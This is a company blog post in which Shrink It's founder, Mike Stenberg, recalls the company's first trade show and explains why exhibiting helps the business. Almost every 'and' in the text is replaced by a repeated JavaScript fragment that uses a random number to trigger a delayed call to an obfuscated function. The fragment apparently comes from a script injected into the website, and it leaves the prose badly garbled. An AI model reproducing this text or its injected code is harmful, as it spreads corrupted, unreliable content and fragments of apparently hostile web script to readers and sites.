Trade Shows: How it all Started for Shrink It

Shrink It has just celebrated our 19th anniversary on April 2nd, 2011 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we want to take you back to where it all started to really grow for Shrink It— TRADE SHOWS.

Trade shows have always influenced andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and impacted the ongoing success of Shrink It. The shows allow us the opportunity to interact with people andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tell them all about the great products andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and services that Shrink It has to offer. Not only do we get to interact with people that attend the shows, but we also get a chance to see what is up-andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and-coming in various industries, which allow us to better serve our customers. Even with his extremely busy schedule, we got the chance to sit down for a few minutes with the man that started it all; Shrink It’s President andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and founder Mike Stenberg, to get his views on trade shows andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and how they have benefited Shrink It.

When asked if he remembered the first show that Shrink It ever went to, Mike recalled his trip to the IMTEC in Chicago 19 years ago. Mike states, “The IMTEC show was a show where distributors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and suppliers demonstrated their boating parts andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and accessories. It was awesome!” From humble beginnings to going to numerous shows all over the world, Shrink It owes a lot of credit to the wonderful people he met at past shows who helped the company get to where it is today.

The benefits are stacked high for exhibiting at all the different trade shows andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Mike was very adamant about going to them, stating, “Shows are absolutely beneficial for us, especially in this downed economy that we’re in right now. You have to go out andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and build the business anyway you can. Even with all the technology andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and media in the world today, it still pays to press the flesh. Even though we’ve been around a long time now, some people still don’t know who we are or what shrink wrap is. Opportunity is waiting in the wings andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and going to these trade shows gives us great opportunity to show people what shrink wrap is all about.”

On a more personal note, we asked Mike what his favorite part of going to trade shows is. He answered, “Making a sale is the best thing. Getting out andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and meeting a hot lead andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and hunting for the customer is a ball.” Mike is always on the move to different shows nationally andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and internationally. We decided to put him on the spot andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and see which environment he likes to work in more; the office or exhibiting at shows. Mike stated, “Well, I’m always connected; technology is a fingertip away andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I’m always ready. No matter where I am or when it is, I’m always game to do business. I don’t necessarily have to be in the office or at a show, because I’m always available.” If you have done any business or correspondence with Mike, we are sure you’ve appreciated andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have been impressed by his quick andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and timely responses. Prompt service is a core value he makes sure to implement every day within his company andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and technology is most definitely his ally. Mike is very tech savvy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and is always keeping up on new technology andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and software that is coming out in order to better serve his customers. Last month, we created an online electronic product catalog so someone across the globe can view it instantly with the click of a mouse or keypad.

Mike is always excited to meet a current customer at a trade show andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and hopefully you will be next! Keep track of trade show schedules on our marketing website andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and newsletter to see if we’ll be around your area. Be sure to stay tuned to next week’s blog when we go “A Day in the Life” with Ryan Polcyn at the Con Expo trade show he exhibited at a couple weeks ago.